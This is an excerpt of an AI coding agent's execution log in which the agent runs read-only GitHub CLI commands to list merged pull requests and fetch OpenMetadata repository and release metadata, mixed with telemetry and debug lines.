{\"id\":391740664,\"node_id\":\"MDEwOlJlcG9zaXRvcnkzOTE3NDA2NjQ=\",\"name\":\"OpenMetadata\",\"full_name\":\"open-metadata/OpenMetadata\",\"private\":false,\"owner\":{\"login\":\"open-metadata\",\"id\":86132257,\"node_id\":\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\",\"avatar_url\":\"https://avatars.githubusercontent.com/u/86132257?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/open-metadata\",\"html_url\":\"https://github.com/open-metadata\",\"followers_url\":\"https://api.github.com/users/open-metadata/followers\",\"following_url\":\"https://api.github.com/users/open-metadata/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/open-metadata/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/open-metadata/subscriptions\",\"organizations_url\":\"https://api.github.com/users/open-metadata/orgs\",\"repos_url\":\"https://api.github.com/users/open-metadata/repos\",\"events_url\":\"https://api.github.com/users/open-metadata/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/open-metadata/received_events\",\"type\":\"Organization\",\"user_view_type\":\"public\",\"site_admin\":false},\"html_url\":\"https://github.com/open-metadata/OpenMetadata\",\"description\":\"The Open Context Layer for Data and AI ,  OpenMetadata is the open platform for building trusted data context and business semantics for humans, AI assistants, and agents.\",\"fork\":false,\"url\":\"https://api.github.com/repos/open-metadata/OpenMetadata\",\"forks_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/forks\",\"keys_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/keys{/key_id}\",\"collaborators_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/collaborators{/collaborator}\",\"teams_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/teams\",\"hooks_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/hooks\",\"issue_events_url\":\"https://api.github.\n[2026-07-12T04:02:59.764Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.762Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.764Z] [INFO] 2026-07-12T04:02:59.762444Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e duration_ms=740 success=true arguments_length=144 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.762Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.764Z] [INFO] \n[2026-07-12T04:02:59.768Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_17\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body'\",\"aggregated_output\":\"[{\\\"body\\\":\\\"## Summary\\\\n\\\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\\\n\\\\nFixes #3\\\\n\\\\n## Reproduction\\\\n\\\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\\\n\\\\n1. `Build Package` succeeded.\\\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\\\n\\\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\\\n\\\\n## Verification\\\\n\\\\n- `cargo fmt --check`\\\\n- `cargo test --all-features --verbose`\\\\n- `cargo test --doc --verbose`\\\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\\\n- `cargo clippy --all-targets --all-features`\\\\n- `rust-script scripts/check-file-size.rs`\\\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\\\n- `cargo build --release --verbose`\\\\n- `cargo package --list --allow-dirty`\\\\n\\\\n## Template Follow-Up\\\\n\\\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\\\n\\\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\\\n\\\",\\\"mergedAt\\\":\\\"2026-04-27T08:59:27Z\\\",\\\"number\\\":4,\\\"title\\\":\\\"Fix GitHub Pages docs deployment independence\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/4\\\"},{\\\"body\\\":\\\"## Summary\\\\n\\\\nFirst prototype (MVP) of the meta-ontology project, addressing\\\\n[issue #1](https://github.com/link-foundation/meta-ontology/issues/1).\\\\nThe repository graduates from the Rust template into a real,\\\\nself-describing, lino-stored meta-ontology.\\\\n\\\\nWhat is shipped end-to-end in this PR:\\\\n\\\\n- **Library** (`src/`) with `Ontology`, `Concept`, `Definition`,\\\\n  `Mapping` types, a `data/` loader using\\\\n  [`links-notation`](https://github.com/link-foundation/links-notation),\\\\n  and a Markdown-aware word scanner.\\\\n- **CLI** (`meta-ontology`) using\\\\n  [`lino-arguments`](https://github.com/link-foundation/lino-arguments),\\\\n  with subcommands `list`, `show `, `check-words `,\\\\n  `langs`.\\\\n- **Seed data** in lino format:\\\\n  - 65 NSM semantic primes (Goddard & Wierzbicka chart v19, 2017).\\\\n  - ~25 self-referential lino primes (`link`, `thing`, `concept`,\\\\n    `class`, `property`, `entity`, `set`, \u2026) \u2014 graph-shaped, with at\\\\n    least one explicit cycle (`thing \u2192 concept \u2192 thing`, asserted in\\\\n    a test).\\\\n  - Cross-ontology mappings to Schema.org, OWL/RDF, SUMO, Wikidata.\\\\n  - English exponents (full); Spanish and Russian seeded.\\\\n  - Allow-list (`data/allowlist*.lino`) for proper nouns, acronyms,\\\\n    and common English function words.\\\\n- **CI/CD coverage check** \u2014 new `Ontology Word Coverage` workflow\\\\n  step runs `meta-ontology check-words README.md` and fails on any\\\\n  unknown word, satisfying the issue's \\\\\\\"block PR merging\\\\\\\" requirement.\\\\n- **Documentation**:\\\\n  - `REQUIREMENTS.md` \u2014 RFC-2119 numbered requirement list.\\\\n  - `ROADMAP.md` \u2014 five milestones from MVP through 1.0.\\\\n  - `docs/plan/` \u2014 per-slice implementation instructions.\\\\n  - `docs/case-studies/issue-1/` \u2014 deep analysis with online research\\\\n    notes (NSM, popular ontologies, link-foundation crates).\\\\n- **Renamed package** from `example-sum-package-name` to\\\\n  `meta-ontology`; license stays `Unlicense` (public domain).\\\\n- **Changelog fragment** for the release pipeline.\\\\n\\\\n## Deferred (with a plan)\\\\n\\\\nThe issue itself says \\\\\\\"If everything will not fit to the first working\\\\nsession, yet please try to make as much as possible from the first go.\\\\\\\"\\\\nThe following are scoped in `ROADMAP.md`:\\\\n\\\\n- HTTP microservice (M3) \u2014 `axum`-based, content-negotiated JSON / lino.\\\\n- WASM + React.js GitHub Pages app (M4) \u2014 `wasm-pack` + Vite + Cytoscape.\\\\n- Multilingual exponents for the remaining 17 of the top-20 languages (M2).\\\\n- Full repo-wide word coverage (M1) \u2014 currently the CI step scans\\\\n  `README.md` to keep the bar achievable today; expanding to the whole\\\\n  repo is a tracked task in M1.\\\\n\\\\n## Test plan\\\\n\\\\n- [x] `cargo build` and `cargo build --release`\\\\n- [x] `cargo fmt --all -- --check`\\\\n- [x] `RUSTFLAGS=-Dwarnings cargo clippy --all-targets --all-features`\\\\n- [x] `cargo test` \u2014 30 tests pass (9 lib unit + 17 unit + 4 integration)\\\\n- [x] `cargo run --example basic_usage` \u2014 prints concepts and walks a\\\\n      cycle\\\\n- [x] `cargo run -- list` / `show thing` / `check-words README.md` /\\\\n      `langs` \u2014 all behave as documented\\\\n- [x] `rust-script scripts/check-file-size.rs` \u2014 passes\\\\n- [x] CI step locally: `cargo run --bin meta-ontology -- check-words README.md`\\\\n      exits 0 on the new README\\\\n\\\\n## Files of note\\\\n\\\\n- `REQUIREMENTS.md`, `ROADMAP.md`, `docs/plan/*.md`,\\\\n  `docs/case-studies/issue-1/*.md`\\\\n- `src/{lib,ontology,loader,words,main}.rs`\\\\n- `data/primes/nsm.lino`, `data/concepts/core.lino`,\\\\n  `data/concepts/mappings.lino`, `data/primes/exponents/{en,es,ru}.lino`,\\\\n  `data/allowlist*.lino`\\\\n- `.github/workflows/release.yml` (new `Ontology Word Coverage` job)\\\\n\\\\nFixes #1\\\",\\\"mergedAt\\\":\\\"2026-04-27T08:10:58Z\\\",\\\"number\\\":2,\\\"title\\\":\\\"First prototype (MVP) of meta-ontology\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/2\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.768Z] [INFO] \n[2026-07-12T04:02:59.772Z] [INFO] 2026-07-12T04:02:59.769808Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:59.772Z] [INFO] \n[2026-07-12T04:02:59.776Z] [INFO] 2026-07-12T04:02:59.774776Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/releases/latest\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=796 success=true output=Chunk ID: 1750f0\n[2026-07-12T04:02:59.776Z] [INFO] Wall time: 0.5373 seconds\n[2026-07-12T04:02:59.776Z] [INFO] Process exited with code 0\n[2026-07-12T04:02:59.776Z] [INFO] Original token count: 8504\n[2026-07-12T04:02:59.776Z] [INFO] Output:\n[2026-07-12T04:02:59.776Z] [INFO] {\"url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790\",\"assets_url\":\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets\",\"upload_url\":\"https://uploads.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets{?name,label}\",\"html_url\":\"https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release\",\"id\":345681790,\"author\":{\"login\":\"collate-release-automations[bot]\",\"id\":168888702,\"node_id\":\"BOT_kgDOChEJfg\",\"avatar_url\":\"https://avatars.githubusercontent.com/in/891129?v=4\",\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D\",\"html_url\":\"https://github.com/apps/collate-release-automations\",\"followers_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\",\"following_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\",\"gists_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\",\"starred_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\",\"subscriptions_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\",\"organizations_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\",\"repos_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\",\"events_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\",\"received_events_url\":\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\",\"type\":\"Bot\",\"user_view_type\":\"public\",\"site_admin\":false},\"node_id\":\"RE_kwDOF1l8-M4Umq9-\",\"tag_name\":\"1.13.1-release\",\"target_commitish\":\"1.13.1\",\"name\":\"1.13.1-release\",\"draft\":false,\"immutable\":false,\"prerelease\":false,\"created_at\":\"2026-06-27T05:15:42Z\",\"updated_at\":\"2026-06-29T08:21:35Z\",\"published_at\":\"2026-06-27T11:35:50Z\",\"assets\":\n[2026-07-12T04:02:59.776Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:02:59.774Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.776Z] [INFO] 2026-07-12T04:02:59.774826Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf duration_ms=796 success=true arguments_length=160 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:59.774Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.776Z] [INFO] \n[2026-07-12T04:02:59.801Z] [INFO] 2026-07-12T04:02:59.799218Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:59.801Z] [INFO] \n[2026-07-12T04:02:59.802Z] [INFO] 2026-07-12T04:02:59.800402Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:59.802Z] [INFO] \n[2026-07-12T04:02:59.805Z] [INFO] 2026-07-12T04:02:59.804889Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:59.805Z] [INFO] \n[2026-07-12T04:02:59.864Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_23\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata'\",\"aggregated_output\":\"{\\\"id\\\":391740664,\\\"node_id\\\":\\\"MDEwOlJlcG9zaXRvcnkzOTE3NDA2NjQ=\\\",\\\"name\\\":\\\"OpenMetadata\\\",\\\"full_name\\\":\\\"open-metadata/OpenMetadata\\\",\\\"private\\\":false,\\\"owner\\\":{\\\"login\\\":\\\"open-metadata\\\",\\\"id\\\":86132257,\\\"node_id\\\":\\\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/u/86132257?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/open-metadata\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/open-metadata/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/open-metadata/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/open-metadata/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/open-metadata/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/open-metadata/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/open-metadata/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/open-metadata/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/open-metadata/received_events\\\",\\\"type\\\":\\\"Organization\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"html_url\\\":\\\"https://github.com/open-metadata/OpenMetadata\\\",\\\"description\\\":\\\"The Open Context Layer for Data and AI ,  OpenMetadata is the open platform for building trusted data context and business semantics for humans, AI assistants, and agents.\\\",\\\"fork\\\":false,\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata\\\",\\\"forks_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/forks\\\",\\\"keys_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/keys{/key_id}\\\",\\\"collaborators_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/collaborators{/collaborator}\\\",\\\"teams_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/teams\\\",\\\"hooks_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/hooks\\\",\\\"issue_events_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues/events{/number}\\\",\\\"events_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/events\\\",\\\"assignees_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/assignees{/user}\\\",\\\"branches_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/branches{/branch}\\\",\\\"tags_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/tags\\\",\\\"blobs_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/blobs{/sha}\\\",\\\"git_tags_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/tags{/sha}\\\",\\\"git_refs_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/refs{/sha}\\\",\\\"trees_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/trees{/sha}\\\",\\\"statuses_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/statuses/{sha}\\\",\\\"languages_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/languages\\\",\\\"stargazers_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/stargazers\\\",\\\"contributors_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/contributors\\\",\\\"subscribers_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/subscribers\\\",\\\"subscription_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/subscription\\\",\\\"commits_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/commits{/sha}\\\",\\\"git_commits_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/git/commits{/sha}\\\",\\\"comments_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/comments{/number}\\\",\\\"issue_comment_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues/comments{/number}\\\",\\\"contents_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/contents/{+path}\\\",\\\"compare_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/compare/{base}...{head}\\\",\\\"merges_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/merges\\\",\\\"archive_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/{archive_format}{/ref}\\\",\\\"downloads_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/downloads\\\",\\\"issues_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/issues{/number}\\\",\\\"pulls_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/pulls{/number}\\\",\\\"milestones_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/milestones{/number}\\\",\\\"notifications_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/notifications{?since,all,participating}\\\",\\\"labels_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/labels{/name}\\\",\\\"releases_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases{/id}\\\",\\\"deployments_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/deployments\\\",\\\"created_at\\\":\\\"2021-08-01T21:17:17Z\\\",\\\"updated_at\\\":\\\"2026-07-12T01:44:51Z\\\",\\\"pushed_at\\\":\\\"2026-07-11T21:48:37Z\\\",\\\"git_url\\\":\\\"git://github.com/open-metadata/OpenMetadata.git\\\",\\\"ssh_url\\\":\\\"git@github.com:open-metadata/OpenMetadata.git\\\",\\\"clone_url\\\":\\\"https://github.com/open-metadata/OpenMetadata.git\\\",\\\"svn_url\\\":\\\"https://github.com/open-metadata/OpenMetadata\\\",\\\"homepage\\\":\\\"https://open-metadata.org\\\",\\\"size\\\":2906853,\\\"stargazers_count\\\":14454,\\\"watchers_count\\\":14454,\\\"language\\\":\\\"TypeScript\\\",\\\"has_issues\\\":true,\\\"has_projects\\\":true,\\\"has_downloads\\\":true,\\\"has_wiki\\\":true,\\\"has_pages\\\":false,\\\"has_discussions\\\":true,\\\"forks_count\\\":2225,\\\"mirror_url\\\":null,\\\"archived\\\":false,\\\"disabled\\\":false,\\\"open_issues_count\\\":979,\\\"license\\\":{\\\"key\\\":\\\"apache-2.0\\\",\\\"name\\\":\\\"Apache License 2.0\\\",\\\"spdx_id\\\":\\\"Apache-2.0\\\",\\\"url\\\":\\\"https://api.github.com/licenses/apache-2.0\\\",\\\"node_id\\\":\\\"MDc6TGljZW5zZTI=\\\"},\\\"allow_forking\\\":true,\\\"is_template\\\":false,\\\"web_commit_signoff_required\\\":false,\\\"has_pull_requests\\\":true,\\\"pull_request_creation_policy\\\":\\\"all\\\",\\\"topics\\\":[\\\"context\\\",\\\"context-layer\\\",\\\"data-catalog\\\",\\\"data-collaboration\\\",\\\"data-contracts\\\",\\\"data-discovery\\\",\\\"data-governance\\\",\\\"data-lineage\\\",\\\"data-observability\\\",\\\"data-profiling\\\",\\\"data-quality\\\",\\\"data-quality-checks\\\",\\\"datadiscovery\\\",\\\"dataengineering\\\",\\\"dataquality\\\",\\\"mcp\\\",\\\"mcp-server\\\",\\\"metadata\\\",\\\"metadata-management\\\",\\\"semantics\\\"],\\\"visibility\\\":\\\"public\\\",\\\"forks\\\":2225,\\\"open_issues\\\":979,\\\"watchers\\\":14454,\\\"default_branch\\\":\\\"main\\\",\\\"permissions\\\":{\\\"admin\\\":false,\\\"maintain\\\":false,\\\"push\\\":false,\\\"triage\\\":false,\\\"pull\\\":true},\\\"temp_clone_token\\\":\\\"\\\",\\\"custom_properties\\\":{},\\\"organization\\\":{\\\"login\\\":\\\"open-metadata\\\",\\\"id\\\":86132257,\\\"node_id\\\":\\\"MDEyOk9yZ2FuaXphdGlvbjg2MTMyMjU3\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/u/86132257?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/open-metadata\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/open-metadata/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/open-metadata/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/open-metadata/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/open-metadata/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/open-metadata/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/open-metadata/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/open-metadata/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/open-metadata/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/open-metadata/received_events\\\",\\\"type\\\":\\\"Organization\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"network_count\\\":2225,\\\"subscribers_count\\\":55}\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:02:59.864Z] [INFO] \n[2026-07-12T04:02:59.875Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_22\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/releases/latest'\",\"aggregated_output\":\"{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790\\\",\\\"assets_url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets\\\",\\\"upload_url\\\":\\\"https://uploads.github.com/repos/open-metadata/OpenMetadata/releases/345681790/assets{?name,label}\\\",\\\"html_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release\\\",\\\"id\\\":345681790,\\\"author\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"node_id\\\":\\\"RE_kwDOF1l8-M4Umq9-\\\",\\\"tag_name\\\":\\\"1.13.1-release\\\",\\\"target_commitish\\\":\\\"1.13.1\\\",\\\"name\\\":\\\"1.13.1-release\\\",\\\"draft\\\":false,\\\"immutable\\\":false,\\\"prerelease\\\":false,\\\"created_at\\\":\\\"2026-06-27T05:15:42Z\\\",\\\"updated_at\\\":\\\"2026-06-29T08:21:35Z\\\",\\\"published_at\\\":\\\"2026-06-27T11:35:50Z\\\",\\\"assets\\\":[{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449979\\\",\\\"id\\\":459449979,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZ7\\\",\\\"name\\\":\\\"docker-compose-ingestion.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/followers\\\",\\\"following_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/following{/other_user}\\\",\\\"gists_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/gists{/gist_id}\\\",\\\"starred_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/starred{/owner}{/repo}\\\",\\\"subscriptions_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/subscriptions\\\",\\\"organizations_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/orgs\\\",\\\"repos_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/repos\\\",\\\"events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/events{/privacy}\\\",\\\"received_events_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D/received_events\\\",\\\"type\\\":\\\"Bot\\\",\\\"user_view_type\\\":\\\"public\\\",\\\"site_admin\\\":false},\\\"content_type\\\":\\\"text/vnd.yaml\\\",\\\"state\\\":\\\"uploaded\\\",\\\"size\\\":2354,\\\"digest\\\":\\\"sha256:5b5eb8c76e69cf290195c7ebd3fdcc38c773d294b6454abd47b099ca4be8a420\\\",\\\"download_count\\\":49,\\\"created_at\\\":\\\"2026-06-27T11:35:54Z\\\",\\\"updated_at\\\":\\\"2026-06-27T11:35:54Z\\\",\\\"browser_download_url\\\":\\\"https://github.com/open-metadata/OpenMetadata/releases/download/1.13.1-release/docker-compose-ingestion.yml\\\"},{\\\"url\\\":\\\"https://api.github.com/repos/open-metadata/OpenMetadata/releases/assets/459449971\\\",\\\"id\\\":459449971,\\\"node_id\\\":\\\"RA_kwDOF1l8-M4bYqZz\\\",\\\"name\\\":\\\"docker-compose-openmetadata.yml\\\",\\\"label\\\":\\\"\\\",\\\"uploader\\\":{\\\"login\\\":\\\"collate-release-automations[bot]\\\",\\\"id\\\":168888702,\\\"node_id\\\":\\\"BOT_kgDOChEJfg\\\",\\\"avatar_url\\\":\\\"https://avatars.githubusercontent.com/in/891129?v=4\\\",\\\"gravatar_id\\\":\\\"\\\",\\\"url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbot%5D\\\",\\\"html_url\\\":\\\"https://github.com/apps/collate-release-automations\\\",\\\"followers_url\\\":\\\"https://api.github.com/users/collate-release-automations%5Bbo